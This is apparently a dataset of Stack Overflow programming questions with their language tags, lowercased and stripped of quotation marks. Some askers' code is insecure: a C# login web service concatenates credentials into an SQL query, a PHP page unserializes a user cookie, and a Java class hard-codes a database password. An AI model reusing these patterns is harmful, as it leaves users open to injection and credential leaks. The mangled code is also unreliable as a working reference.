i want for the login class to access the database connection from different class  i want to separate the db connection from the other classes so i don t need to write again the db connection for every class i want to create.    this is the db connection class   <pre><code>package bloodbank;  import java.sql.connection; import java.sql.drivermanager; import java.sql.preparedstatement; import java.sql.resultset; import java.sql.sqlexception;  public class dbconnection {     preparedstatement pst = null;     resultset rs = null;  public dbconnection() {}  public void connect() { try {      class.forname( com.microsoft.sqlserver.jdbc.sqlserverdriver );     connection con =   drivermanager.getconnection( jdbc:sqlserver://localhost:1433;  databasename=bloodmanagementsystem;user=yusuf;password=ali1234 );     } catch (classnotfoundexception | sqlexception e) {   }   }  public preparedstatement preparestatement(string select__from_users_where_username_and_pas) {     throw new unsupportedoperationexception( not supported yet. ); //to change body of generated methods  choose tools | templates. } } </code></pre>   and this is the login class with login button    <pre><code>import bloodbank.dbconnection; import java.awt.headlessexception; import java.sql.preparedstatement; import java.sql.resultset; import java.sql.sqlexception; import javax.swing.joptionpane;  public class login extends javax.swing.jframe {  public login() {     initcomponents(); } @suppresswarnings( unchecked )  private void jbutton1actionperformed(java.awt.event.actionevent evt) {//gen-first:event_jbutton1actionperformed      try     {         dbconnection con = new dbconnection();        con.connect();      preparedstatement pst = con.preparestatement( select * from users where username=  and password=  );    pst.setstring(1  jtextfield1.gettext());     pst.setstring(2  jtextfield2.gettext());    resultset rs = pst.executequery();     if(rs.next()) {        joptionpane.showmessagedialog(null   username and password correct );        mainform field = new mainform();        field.setvisible(true);        setvisible(false);           } else {        joptionpane.showmessagedialog(null   invalid username and password );         }      }     catch(sqlexception | headlessexception e){                joptionpane.showmessagedialog(null  e);     }         }  public static void main(string args[]) {      java.awt.eventqueue.invokelater(() -&gt; {         new login().setvisible(true);     }); }  } </code></pre>,java
undefined variable: user  can t seem to find the answer to the problem. i have declared $user as a global variable and later set it by a cookie (if it exists) or by a form then i call the start function.  within the start function i echo parts of it but i am getting undefined variable: user even though i defined it.   <pre><code> &lt; php     global $user;     function consolelog($message)     {         echo  &lt;script&gt;console.log(   . $message.   )&lt;/script&gt; ;     }     if (isset($_cookie[ user ])){         $user = unserialize($_cookie[ user ]);         start();       }     else{           if (isset($_post[ submit ]))      {         $user = array(         name  =&gt; $_post[ name ]          class  =&gt; $_post[ class ]          school  =&gt; $_post[ school ]         );        $expire=time()+60*60*24*365;        setcookie( user  serialize($user)  $expire);        start();     }     else     {              echo  welcome new user!\n&lt;br/&gt; ;             echo  &lt;form method= post &gt;     name: &lt;input type= text  name= name &gt;     class:&lt;select name= class &gt;       &lt;option value= 9 &gt;9&lt;/option&gt;     &lt;/select&gt;     school: &lt;input type= text  name= school &gt;     &lt;input type= submit  name= submit &gt;     &lt;/form&gt; ;     }     }     function start(){       echo  your name:   . $user[ name ] .  !\n&lt;br/&gt; ;       echo  your class:   . $user[ class ] .  \n&lt;br/&gt; ;       echo  your school:   . $user[ school ] .  \n&lt;br/&gt; ;          &gt;       &lt;hr/&gt;       &lt;h2&gt;homepage&lt;/h2&gt;       &lt; php     }      &gt; </code></pre>   <img src= https://i.stack.imgur.com/ow0bz.png  alt= screenshot >,php
select three tables concat first with second and lastly concat all three tables  <strong>i have three tables province_table  city_table and town_table i want to select them like:</strong>   <hr>   i use this   <pre><code>select p.province_id p.province_name c.city_id t.town_id         group_concat(c.city_name) city_name          group_concat(t.town_name) town_ name from province_tbl p          left join city_tbl c                 on c.province_id = p.province_id           left join town_tbl t                on t.town_id = c.town_id  group by p.province_name c.city_name t.town_name order by p.province_name asc </code></pre>   its working but output is :   <pre><code>province name  city name  town name </code></pre>   <strong>i want below output:</strong>   <pre><code>province name    province name  city name     province name  city name  town name </code></pre>   see this example also <a href= http://zoopla.co.uk  rel= nofollow >zoopla.co.uk</a>  type london into the search bar.  open a dropdown result that i need. like below.    <pre><code>london  london blackfriars station london blackfriars station 2 london blackfriars station  block 1 london blackfriars station  block 2  london blackfriars station  block 3 </code></pre>   <em>please answer in detail because i am new in mysql.</em>,mysql
create financial report with sql  i want to create a financial report using a select statement for example: my start month is april 2000 and the end month is march 2001 how can i do that    <pre><code>select  monthlist.monthname  transcation.id transaction.amount( select 10 ordby   january  monthname  union select 11   february   union select 12   march  union select 1   april   union select 2  may  union select 3  june  union select 4  july   union select 5  august   union select 6  september  union select 7  october   union select 8  november   union select 9  december ) monthlist  left  join (select year(date) [year]  month(date) [month] datename(month date) [month name] sum(amount)as amount  from transaction  where id=2 group by year(date)  month(date) datename(month  date) ) as t on t.[month name]=monthlist.[month name]) </code></pre>,sql
negative numeric string (e.g.  -10 ) to unsigned short  code:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;sstream&gt; #include &lt;algorithm&gt; using std::cerr; using std::cout; using std::stringstream; using std::string; using std::for_each;  void convert(const string&amp; a_value) {     unsigned short i;     if (stringstream(a_value) &gt;&gt; i)         cout &lt;&lt; a_value &lt;&lt;   converted to   &lt;&lt; i &lt;&lt;  .\n ;     else         cerr &lt;&lt; a_value &lt;&lt;   failed to convert.\n ; }  int main() {     string inputs[] = {  abc    10    999999999999999999999    -10    0  };     for_each(inputs  inputs + (sizeof(inputs)/sizeof(inputs[0]))  convert);     return 0; } </code></pre>   output from visual studio compiler (v7  v8  v9  v10):   <pre> abc failed to convert. 10 converted to 10. 999999999999999999999 failed to convert. -10 converted to 65526. 0 converted to 0. </pre>   output from g++ (v4.1.2  <a href= http://ideone.com/t2smf3  rel= noreferrer >v4.3.4</a>):   <pre> abc failed to convert. 10 converted to 10. 999999999999999999999 failed to convert. -10 failed to convert. 0 converted to 0. </pre>   i expected the <code> -10 </code> to fail to be converted to an <code>unsigned short</code> but it succeeds with the vc compilers. is this a:   <ul> <li>bug in the vc compilers  </li> <li>bug in the gnu compilers and i have an incorrect expectation  </li> <li>an implementation defined behaviour  </li> </ul>,c++
android - java.lang.verifyerror  i m facing a recurrent problem that i don t know why it is happening. it happens all of a sudden. i didn t do anything different from what i was doing before.    i m using these tabs: <a href= http://developer.android.com/resources/tutorials/views/hello-tabwidget.html  rel= nofollow noreferrer >http://developer.android.com/resources/tutorials/views/hello-tabwidget.html</a>    when i open one of the three tabs (class name = tab1)  this problem comes out. before  this error came out after clicking all of the tabs (    ). a part of the stack trace:   <hr>   could not find class  org.android.catsmobile.packagename.tab1$orderadapter   refereced from method org.android.catsmobile.packagename.tab1.oncreate [...]    threadid=3: thread exiting with uncaught exception (group=0x4000fe70) java.lang.verifyerror: org.android.catsmobile.packagename.tab1   <hr>,android
nsstring retain count  just couple of days i was working on a project and i have to see what is retain count of a string.    but it always return me  2147483647   why it is so     check out this code to check it yourself.   <pre><code>nsstring *str = [[nsstring alloc] initwithstring:@ hello world ]; nslog(@ string retain count: %i   [str retaincount]);  </code></pre>   so my question is why it is not returning 1 like other objects return  why i am getting  2147483647     thanks in advance.,objective-c
get cfstringref or nsstring from a  <>  format hash data  there is a data return from cfdictionarygetvalue like below:   <pre><code>cfdictionaryref information; cfstringref value =  cfdictionarygetvalue(information xxxx); // return a hash code of some file </code></pre>   then the value will be <code>&lt;40f42cf8 fdf07523 99a7eb6e 2fccd041 1b642e9e&gt;</code>  so how can i get a string like <code>40f42cf8fdf0752399a7eb6e2fccd0411b642e9e</code> from this format data  is there any api to implement this,objective-c
simple function within a function in c  i am doing something simple but i can t seem to get it to work.    basically  i have main() that basically shows how a character is displayed in two different ways. however  i tried to jazz it up a bit and kind of make it loop. i could do this easier i know  but just trying to get my feet in the ground.   <pre><code>#include &lt;stdio.h&gt; /* displays code number for a character*/ char chat(void);  int main(void) {     char ch  gr;     printf(  please enter a character.\n );     scanf( %c   &amp;ch);     printf( the code for %c is%d. \n   ch  ch);      chat(void);         if (gr ==  y )      main();         else     return 0;  } /* this function should obtain the value of gr and then send it to main() so that main can avaluate if it should run again*/      char chat(void) {    char gr;    printf(  press y for again  press n for instant death );    gr = getchar();     return gr;  } </code></pre>   i hope what i am trying to do makes sense.... and i don t see the need to knock this down because i probably left some typo in... seriously people.,c
what is code access security in .net  what is <strong>cas</strong> (code access security) in .net  and how to achieve it  what are the benefits of using it,.net
error accessing xml file in android  i am new to android programming and recently developed a weird error in my code. i was following a tutorial that directed the coder to go to project>clean (in eclipse).  after i clicked it my code developed errors whenever i tried to access a resource.  i received an error on the r.  it said that the variable r cannot be recognized.  eclipse recommends that i import the package  r  which did not work.  an example of the line of code that had the error on is:    <code>setcontentview(r.layout.activity_main);</code>    after i imported  r  eclipse was unable to recognize/find <code>activity_main</code>.,android
is there any zip decompression for iphone   i found the zlib and gzip decompression algorithms  but i need to compress a whole directory and download it from the server. would rather not go file at a time.    thanks.,iphone
ios graphic resolution sizes  i have read countless reference sites but cannot find a simple answer.    i wish to have a bmp graphic on the screen and willing to have multiple versions so as to satisfy all screen sizes and resolutions. what sizes do i put into; iphone 1x  2x  retina 4 2x 3x  ipad 1x  2x     if anyone refers me to this site <a href= http://www.iosres.com/  rel= nofollow >http://www.iosres.com/</a> it seems to be of no help to me as graphics still appear as the incorrect size  often oversized  sometimes bordered.,ios
product title and description is not showing after replacing the public key (base64) android in-app purchase  here is the code which i am using. i have replaced the original api key in the proper place. i have changed the sample title and description in <a href= http://en.wikipedia.org/wiki/google_play  rel= nofollow noreferrer >google play</a> in-app console and also replaced the public key  but in place of title and description it is showing default title of the app  not from the title i have used in in-app console.    i have attached a screen shot for better understanding. i am testing in signed <a href= http://en.wikipedia.org/wiki/apk_%28file_format%29  rel= nofollow noreferrer >apk</a> that already uploaded in to the google play. what is the problem     the app is successfully running.    <img src= https://i.stack.imgur.com/tb2ao.png  alt= enter image description here >   <h3>code</h3>  <pre><code>public static arraylist&lt;verifiedpurchase&gt; verifypurchase(string signeddata  string signature) {     if (signeddata == null) {         log.e(tag   data is null );         return null;     }     log.i(tag   signeddata:   + signeddata);     boolean verified = false;     if (!textutils.isempty(signature)) {         /**          * compute your public key (that you got from the android market          * publisher site).          *          * instead of just storing the entire literal string here embedded          * in the program  construct the key at runtime from pieces or use          * bit manipulation (for example  xor with some other string) to          * hide the actual key. the key itself is not secret information           * but we don t want to make it easy for an adversary to replace the          * public key with one of their own and then fake messages from the          * server.          *          * generally  encryption keys / passwords should only be kept in          * memory long enough to perform the operation they need to perform.          */         string base64encodedpublickey =  &lt;my api key&gt; ;         publickey key = billingsecurity.generatepublickey(base64encodedpublickey);         verified = billingsecurity.verify(key  signeddata  signature);         if (!verified) {             log.w(tag   signature does not match data. );             return null;         }     } </code></pre>,android
retrieving related data from drop down list asp.net  i am trying to retrieve a related data called mentorid from the database linked to my mentor drop down list via the current data in the drop down list. may i know how to do it    thank you!    <a href= https://i.stack.imgur.com/pcrty.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pcrty.png  alt= enter image description here ></a>,asp.net
how to filter a collection based on the attribute of a foreign key object in rails  i have a collection of card objects and each card belongs to a deck object  and each deck has a  topic  attribute. how do i make a query for all of the cards who belong to a deck that has a topic attribute of  casual     in django it would be     <pre><code>card.objects.filter(deck__topic= casual ) </code></pre>   how do i do this in rails,ruby-on-rails
trying to consume web service class  i m trying to consume a webservice class called  member . localhost is a web reference for the webservice  authenticate . i m creating a login page using a login control in asp.net. this piece of code is in the login routine. can you give me a hint please  i want the login control to read the string that the webservice returns so that i can check if the user is authenticated or not. if it returns  noaccess  then the person cant access protected pages. thank you :)   <pre><code>protected void lgnmemeber_authenticate(object sender  authenticateeventargs e) {  try {    string emailaddress = lgnmemeber.username;    string userpassword = lgnmemeber.password;    localhost.member memb = new localhost.member();    localhost.authenticate auth = new localhost.authenticate();    string authreturn=auth.authenticatee(emailaddress  userpassword).tostring();    lblerror.text = emailaddress; lblerror.text += userpassword; lblerror.text += authreturn;    //string access =  noaccess ;   // if (authreturn.contains(access))   //{       // e.authenticated = false;   //}   //else   //{     // e.authenticated = true;   //}   }  catch(exception ex) {     lblerror.text += ex.message;  }  } </code></pre>   here is my webservice:   <pre><code>/// &lt;summary&gt; /// member class /// &lt;/summary&gt; public class member {      public string accesslevel;      /// &lt;summary&gt;     /// member constructor     /// &lt;/summary&gt;     public member()     {         accesslevel =  noaccess ;     } }   /// &lt;summary&gt; /// hasc authentication web service /// &lt;/summary&gt; [webservice(description =  hamilton adult soccer club (hasc) authentication web          service.   namespace =  http://mohawkcollege.ca/hasc )] [webservicebinding(conformsto = wsiprofiles.basicprofile1_1)] // to allow this web service to be called from script  using asp.net ajax  uncomment the following line.  // [system.web.script.services.scriptservice] public class authenticate : system.web.services.webservice {      public authenticate () {          //uncomment the following line if using designed components          //initializecomponent();      }      /// &lt;summary&gt;     /// take the email and password of the user. if user exists  it returns the access   level and the pesronid of that member     /// &lt;/summary&gt;     /// &lt;param name= email &gt;email of the member&lt;/param&gt;     /// &lt;param name= password &gt;password of the member to authenticate&lt;/param&gt;     /// &lt;returns&gt;access level and personid of authenticated member&lt;/returns&gt;     [webmethod(description =  &lt;ul&gt;&lt;li&gt;accepts 2 string parameters  email and password.&lt;/li&gt;&lt;li&gt;returns a string indicating access level and the personid of the authenticated club member&lt;/li&gt;&lt;/ul&gt; )]     public member authenticatee(string email  string password)     {         member member = new member();          string con_string = webconfigurationmanager.connectionstrings[ hascconnectionstring ].connectionstring;         sqlconnection con = new sqlconnection(con_string);         sqlcommand cmd = new sqlcommand( select personid  email  userpassword  player  coach  referee  administrator from persons where email=   + email+   and userpassword=  +password+     con);          try         {             using (con)             {                 con.open();                 sqldatareader reader = cmd.executereader();                 if (reader.read())                 {                     int personid = reader.getint32(0);                     bool player = reader.getboolean(3);                     bool coach = reader.getboolean(4);                     bool referee =reader.getboolean(5);                     bool admin = reader.getboolean(6);                     if (email == reader.getstring(1) &amp;&amp; password==reader.getstring(2))                    {                               if (player) {                             member.accesslevel =  player  +personid;                         }                         else if(coach) {                             member.accesslevel =  coach  +personid;                        }                        else if (referee)                        {                            member.accesslevel =  referee  +personid;                        }                        else if (admin)                        {                            member.accesslevel =  admin  +personid;                        }                        else                        {                            member.accesslevel =  accessapproved ;                        }                    }                                  }             }         }         catch          {             member.accesslevel =  noaccess ;         }          return member;     } } </code></pre>,c#
interactive graph display using ta-lib  i am looking after an interactive and tick-by-tick graphical software using ta-lib to run in .net where i can used my own datafeed (forex prices). recommendations are welcome.      rgds,.net
java matcher format for the string #xxx#  i have to get the string which contains in between the symbols #(string)#.    how can i achieve it,java
in vs2008 what is the difference between web site and web application   in vs2008 what is the difference between web site and web application  and are there advantages to using either one,.net
c# task blocks the ui  i have this code that deserialize json from url but the gui still gets blocked and i don t know how to sort it out    **how much do i have to write in order for stackoverflow to allow me to post something    it looks like your post is mostly code; please add some more details.     button code:   <pre><code>    private void button1_click(object sender  eventargs e)     {         var context = taskscheduler.fromcurrentsynchronizationcontext();         string realmname = listbox1.items[listbox1.selectedindex].tostring();         task.factory.startnew(() =&gt; jsonmanager.getauctionindex().fetch(realmname)         .continuewith(t =&gt;         {             bool result = t.result;             if (result)             {                 label1.text = jsonmanager.getauctionindex().lastupdate +   ago ;                 foreach (string owner in jsonmanager.getauctiondump().fetch(jsonmanager.getauctionindex().dumpurl))                 {                     listbox2.items.add(owner);                 }             }         } context));     } </code></pre>   fetch and deserialize function   <pre><code>   public async task&lt;bool&gt; fetch(string realmname)     {                    using (webclient client = new webclient())         {             string json =   ;             try             {                 json = client.downloadstring(new uribuilder( my url  + realmname).uri);                              }             catch (webexception)             {                 messagebox.show(  );                 return false;             }             catch             {                 messagebox.show( an error occurred );                 application.exit();             }             var results = await jsonconvert.deserializeobjectasync&lt;rootobject&gt;(json);              timespan duration = datetime.now - utilities.unixtimestamptodatetime(results.files[0].lastmodified);             lastupdate = (int)math.round(duration.totalminutes  0);             dumpurl = results.files[0].url;             return true;         }     } </code></pre>   thanks in advance,c#
android post a comment to a website  i m attempting to post a comment to a website  the post doesn t seem to give an error  but doesn t appear to have worked either. i m unsure where i ve gone wrong  i m calling it in a seperate thread   <pre><code>    thread thread = new thread(new runnable() {         @override         public void run() {             httpurlconnection conn = null;             try {                 string urlstring = mainurl +  name=  + name;                 url url = new url(urlstring);                  conn = (httpurlconnection) url.openconnection();                 conn.setrequestmethod( post );                 conn.setdooutput(true);                 conn.setrequestproperty( content-type    application/x-www-form-urlencoded );                 conn.getoutputstream().write(comment.getbytes( utf8 ));                 conn.connect();                  int responsecode = conn.getresponsecode();                 log.d( response code:       + responsecode);               } catch (exception e) {                 log.e( post error   e.tostring());             }             finally {                 if (conn != null) {                     conn.disconnect();                 }             }         }     });     thread.start(); </code></pre>,android
angularjs ng-if how i can use it with my scenario  this is my current code where i am displaying sub menus and it works fine.     i need slightly changed behaviour i.e. show sub menus text based on condition. e.g. show <strong>menu 1</strong> or <strong>menu one</strong> based on condition value which i am getting back from my controller. the same logi    all i need to know <strong>how can i use <code>ng-if</code> statement here </strong>   <pre><code>&lt;li&gt;&lt;a class= pointer  ng-show= istrue  data-ng-click= sum() &gt;menu 1&lt;/a&gt;&lt;/li&gt; </code></pre>,angularjs
value was either too large or too small for an int16  i am getting below error while i am converting integer value string to short from text box in .net.    value was either too large or too small for an int16. how can i convert zip code and phone number values from text boxes  please help me...,.net
how can i programmatically trigger  done  function in uiimagepickercontroller (camera)   i am currently using uiimagepickercontroller in my application to take advantage of the native ios camera functionality.    however  i would like to either:    1) somehow programmatically trigger the method behind the  done  button so my users don t have to    2) skip the image preview of the camera without losing any of the existing ui functionality that the uiimagepickercontroller provides (like toggling flash  exposure  etc)    use case: i am using a low energy bluetooth shutter button device to take a photo without pressing the capture button on the screen with my finger. i would like to also allow the user to press the bluetooth button to press the done button or just forego the done step completely and immediately return the didfinishpickingmediawithinfo.    is this possible at all  here is my implementation of my uiimagepickercontroller   <pre><code>@ibaction func presentcameracontroller() {         dispatchqueue.global(qos: .userinitiated).async {             cameraauthorization.getauthorizationstatus(completion: { granted in                 if granted {                     dispatchqueue.main.async {                         if uiimagepickercontroller.issourcetypeavailable(uiimagepickercontrollersourcetype.camera) {                             let picker = uiimagepickercontroller();                             picker.delegate = self                             picker.sourcetype = .camera                          if let decider = userdefaults.standard.value(forkey:  cameraflashenabled ) as  bool {                             if (decider) {                                 picker.cameraflashmode = .on                             } else {                                 picker.cameraflashmode = .off                             }                         } else {                             picker.cameraflashmode = .on                         }                          self.present(picker  animated: true  completion: nil)                     }                 }             } else {                 dispatchqueue.main.async {                     let encouragement = cameraauthorization.encourageaccess()                     self.present(encouragement  animated: true  completion: nil)                 }             }         })     }  internal func imagepickercontroller(_ picker: uiimagepickercontroller  didfinishpickingmediawithinfo info: [string : any]) {     let image = info[uiimagepickercontrolleroriginalimage] as  uiimage      dismiss(animated: true  completion: {         self.selectedimage = image         self.performsegue(withidentifier:  seguetophotoeditor   sender: nil)     }) } </code></pre>,ios
namespaces in c++ header files  i like the concept of c++ namespaces  because they help to keep the source code concise while avoiding name conflicts. in .cpp files this works very well  using the  using namespace  declaration. however  in header files this cannot be used  as it  breaks open  the namespace  meaning that the  using namespace  not only applies within the current header file  but to everything that is compiled thereafter. this partly nullifies the advantage of namespaces. consider for example a header file in which the classes  ourlib::networking::ipaddress  and  ourlib::filesystem::path  are frequently used.    is there a way to limit the effect of the  using namespace -declaration in header files,c++
cannot return multiple value from function  i ve been trying to run the following code. however  the only output i get is  process returned 0(0x0). i cant seem to understand whats wrong with the code. i m new to programming. any help is appreciated. thanks!    code:   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt;  int argentina(int units int a_price int *as);      int main()     {         int units min_cost;         int a_price=50;         int a_stock=100;         int b_stock=100;         char country[10];         printf( enter the name of the country );         gets(country);         printf( enter the number of units );         scanf( %d  &amp;units);         if(country== argentina )         {             min_cost=argentina(units a_price &amp;a_stock);             printf( %d : %d : %d  min_cost b_stock a_stock);         }         return 0;     }      int argentina(int units int a_price  int *as)     {         int cost;         if(units &gt;0 &amp;&amp; units&lt;=100)         {             cost=a_price * units;             *as=*as - units;             return cost;          }       } </code></pre>,c
how to get different digits starting from the most significant digit in a number in c   i am solving a problem in which a positive integer is given and i have to display it in words.    for example if a number is <code>2134</code> the output should be <code> two one three four </code> . if i use the modulus operator and use the recursion technique  i get the digits starting from the least significant digit i.e <code> four three one two </code>    i can also reverse the number and then use modulus operator but i am looking for a better method.    what can be a better approach of solving this problem .what concept am i missing,c
converting xml file to string in c#  i want to read my xml file from a webpage(www.example.com/myxmlfile.php) and convert it to an xml like below to parse it   <pre><code>string xml1 =      &lt;root&gt;  +      &lt;users&gt;        &lt;id&gt;1&lt;/id&gt;  +      &lt;user_login&gt;admin&lt;/user_login&gt;        &lt;user_pass&gt;$p$bdfdffddkjlkiyuyadnvjd&lt;/user_pass&gt;  +             &lt;term_id&gt;2&lt;/term_id&gt;  +      &lt;user_activation_key&gt;&lt;/user_activation_key&gt;  +      &lt;user_status&gt;0&lt;/user_status&gt;  +       &lt;display_name&gt;admin&lt;/display_name&gt;  +      &lt;/users&gt;  +      &lt;/root&gt; ; </code></pre>   how can i do that  reading data and converting to a string with pluses in exact position n c# thanks beforehand.,c#
vertical alignment of absolutely positioned child s parent  if you want to jump straightaway to working code  see <a href= https://jsfiddle.net/4p0w44m1/  rel= nofollow >here</a>.    i m trying to <strong><em>understand</em></strong> why the three <code>.inline</code> elements below   <pre><code>    &lt;button class= inline &gt;button&lt;/button&gt;     &lt;div class= inline parent &gt;&lt;div class= child &gt;...&lt;/div&gt;&lt;/div&gt;     &lt;button class= inline &gt;button&lt;/button&gt; </code></pre>   ...become <em>vertically misaligned</em> when i switch the <code>position</code> property of the <code>.child</code> element from <code>relative</code> to <code>absolute</code><sup>1</sup>.    the other css settings relevant to this question are these:   <pre><code>.inline {     box-sizing: border-box;     width: 85px;     height: 25px;     position: relative; }  .parent {     display: inline-block; } </code></pre>   more importantly  taking all the other explicit css settings in the linked <a href= https://jsfiddle.net/4p0w44m1/  rel= nofollow >example</a>  as <em>given</em>  how can i bring the vertically <code>.inline.parent</code> element (i.e. the one with the absolutely positioned child) into alignment with the flanking ones    <hr>   edit: i made a small change to the code  to emphasize that all the <code>.inline</code> elements have the same setting (<code>relative</code>) for the <code>position</code> property.  i also changed linked example accordingly.   <hr>   <sup><sup>1</sup> note that this change does not make reference to any of the <code>.inline</code> elements  but rather to a descendant of one of them.</sup>,css
common pagination in angularjs  how to create common pagination in angularjs. for example can we create factory or service and how to access it in controller  is it possible  or otherwise we should keep seperate pagination for seperate controller,angularjs
how to deselect previous item and select new item in listview  i am using <code>setselected()</code> &amp; <code>requestfocusfromtouch()</code> methods of <code>listview</code> for selecting any item of <code>listview</code> pragmatically. but the problem is that if an item in the <code>listview</code> is already selected and another item is attempted to select (programmatically) then both the items are deselected as a result. so is there any way to deselect previous item (if it is selected) and select new item in <code>listview</code> programmatically,android
css height - text doesnt fit  i m having a problem getting my page to expand to display different length blogs.    i ve read up on the other answers here and created a test page for now but it doesnt expand despite adding : min-height:625px;     height: auto !important;     height: 625px;     overflow:hidden; but its not working!    i m using container on most pages  container-blog on the blog page (i ve got round it for now by creating a really long page that everything fits on  but there must be a better way    and container-test on my test page so i can play around with the settings without messing up the live page.    many thanks,css
assigning array parameter in constructor  now i am coming in a circumstance like  i need to pass a parameter for array in a function(so that i can override it in the function based on my needs). so how is that possible in php. for eg.    <pre><code>class classname {     function __construct()     {         $array[ default ] =  default value ;     }      function test()     {         $array[ a ] =  a ;         $array[ b ] =  b ;     } } </code></pre>   i need to get the <code>$array[ default ]</code> in the function test. so how to do that in php  any help on this would be greatly appreciated.,php
installing mysqldb on mac os x  i am trying to install mysqldb on mac os x. but when i run      python setup.py build    the terminal shows me this message.   <pre><code>sh: mysql_config: command not found sh: mysql_config: command not found sh: mysql_config: command not found sh: mysql_config: command not found running build running build_py creating build/lib.macosx-10.6-intel-2.7 copying _mysql_exceptions.py -&gt; build/lib.macosx-10.6-intel-2.7 creating build/lib.macosx-10.6-intel-2.7/mysqldb copying mysqldb/__init__.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb copying mysqldb/converters.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb copying mysqldb/connections.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb copying mysqldb/cursors.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb copying mysqldb/release.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb copying mysqldb/times.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb creating build/lib.macosx-10.6-intel-2.7/mysqldb/constants copying mysqldb/constants/__init__.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb/constants copying mysqldb/constants/cr.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb/constants copying mysqldb/constants/field_type.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb/constants copying mysqldb/constants/er.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb/constants copying mysqldb/constants/flag.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb/constants copying mysqldb/constants/refresh.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb/constants copying mysqldb/constants/client.py -&gt; build/lib.macosx-10.6-intel-2.7/mysqldb/constants running build_ext gcc-4.2 not found  using clang instead building  _mysql  extension creating build/temp.macosx-10.6-intel-2.7 clang -fno-strict-aliasing -fno-common -dynamic -arch i386 -arch x86_64 -g -o2 -dndebug -g -o3 -i/library/frameworks/python.framework/versions/2.7/include/python2.7 -c _mysql.c -o build/temp.macosx-10.6-intel-2.7/_mysql.o -dversion_info= (1 2 1  final  1)  -d__version__= 1.2.1  _mysql.c:39:10: fatal error:  mysql.h  file not found #include  mysql.h           ^ 1 error generated. error: command  clang  failed with exit status 1 </code></pre>   i have installed mysql on my system. but i don t understand why this is showing. please kindly will someone help me out.,python
4 fixed width columns with top-left box spanning 2 columns. centered. how   each column has a fixed width of 200px with a 20px margin.<br> the top-left box and the columns have variable height.    like this    <img src= https://i.stack.imgur.com/jxwkw.jpg  alt= alt text >    tor valamo kindly provided an <a href= https://stackoverflow.com/questions/1894884/4-columns-elastic-css-with-top-left-box-spanning-2-columns-how >answer to a similar question</a> (that being elastic  this is fixed)  but i cant centre the layout  as it uses <code>position: absolute</code>.    how can i do it  i know that using a table with colspan and rowspan the answer to this problem is trivial  but i would like to avoid table-based layout like the plague!,css
can i use wildcard inside replace statement in mysql   mysql experts. current data in table. column name is url<br> /abc1/pqr<br> /abc10/pqr    i need below result ie abc1 and abc10 should be replaced to xyz<br> /xyz/pqr<br> /xyz/pqr    how can i do this using replace command as i am unable to use wild card inside replace statement     currently i am using below 2 statements but i need a single statement.   <pre><code>update table_url set url = replace(url   /abc1/pqr    /xyz/pqr )    update table_url set url = replace(url   /abc10/pqr    /xyz/pqr ) </code></pre>,mysql
nsuserdefaults setvalue is invoking recursive operation  i have <code>nsuserdefaults</code> <code>setvalue</code> inside my <code>viewdidload</code> event. when i set the value of a key using the following code then <code>viewdidload</code> is fired again.    <pre><code> [ud setvalue:@ yes  forkey:@ isfoo ]; </code></pre>   should the <code>viewdidload</code> fire after setting the user default value,ios
keyboard notifications are not working in iphone 4.0  i am getting the problem in the keyboard notifications when i played in 4.0.that the keyboard notifications are not working but its working fine in 3.0.    can anyone suggest why this is happening like this     thank you  monish.,objective-c
a uitableview contains a multi-line uilabel. sizetofit on the label works the first time  but sizes the label incorrectly once the cell is redrawn  i log info and size the label like this:   <pre><code>nslog([nsstring stringwithformat:@ before: %@  %f   [item valueforkey:@ item ]  itemdesclabel.frame.size.width]); [itemdesclabel sizetofit]; nslog([nsstring stringwithformat:@ after: %@  %f   [item valueforkey:@ item ]  itemdesclabel.frame.size.width]); </code></pre>   at first it is correct and logs data like   <pre><code>before: nachos  280.000000 after: nachos  265.000000 before: quesadilla  232.000000 after: quesadilla  229.000000 </code></pre>   but after scrolling up and down  the labels will obviously be too wide or too narrow  and it logs data like   <pre><code>before: nachos  0.000000 after: nachos  967.000000 before: quesadilla  171.000000 after: quesadilla  167.000000 </code></pre>   i use the method suggested by apple for loading a custom uitableviewcell from a nib  like   <pre><code>uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier]; if (cell == nil) {     [[nsbundle mainbundle] loadnibnamed:@ itemcell  owner:self options:nil];     cell = itemcell;     itemcell = nil; } uilabel *itemdesclabel = (uilabel *)[cell.contentview viewwithtag:1]; </code></pre>,iphone
how to add cases across columns that meet a condition  within rows   i have data on household ownership of appliances  with one appliance per column  and data in the format of y or n.  i want to generate a new column with the sum of appliances owned per household.  when i run the following script (sqlite)  i get an error message about syntax error near  ) .  please help - i ve tried all sorts of syntax.   <pre><code>select household  sum((case when stove= y  then 1 else 0) + (case when fridge= y  then 1 else 0) + (case when tv= y  then 1 else 0) + (case when video= y  then 1 else 0) + (case when satdish= y  then 1 else 0) + (case when radio= y  then 1 else 0) + (case when fixphone= y  then 1 else 0) end)  as appliances from assets </code></pre>,sql
